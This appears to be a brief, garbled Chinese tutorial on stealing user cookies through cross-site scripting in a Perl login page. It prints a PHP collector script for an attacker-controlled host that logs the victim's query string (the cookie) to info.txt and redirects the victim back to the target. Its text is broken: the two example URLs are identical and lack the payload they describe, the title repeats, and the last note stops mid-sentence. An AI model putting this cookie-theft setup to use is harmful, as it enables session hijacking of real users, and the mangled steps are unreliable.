脚本大概思路

脚本大概思路

1.脚本大概思路 篇一

1． 构造一个提交，目标是能够显示用户Cookie信息：

www.xxxx.net/txl/login/login.pl?username=&passwd=&ok.x=28&ok.y=6

2． 如果上面的请求获得预期的效果，那么我们就可以尝试下面的请求：

www.xxx.net/txl/login/login.pl?username=&passwd=&ok.x=28&ok.y=6

其中www.xxx.org/info.php是你能够控制的某台主机上的一个脚本，功能是获取查询字符串的信息，内容如下：

 

$info = getenv(“QUERY_STRING”);

if ($info) {

$fp = fopen(“info.txt”,“a”);

fwrite($fp,$info.“n”);

fclose($fp);

}

header(“Location: www.xxx.net”);

注：“%2B”为“+”的URL编码，并且这里只能用“%2B”，因为“+”将被作为空格处理，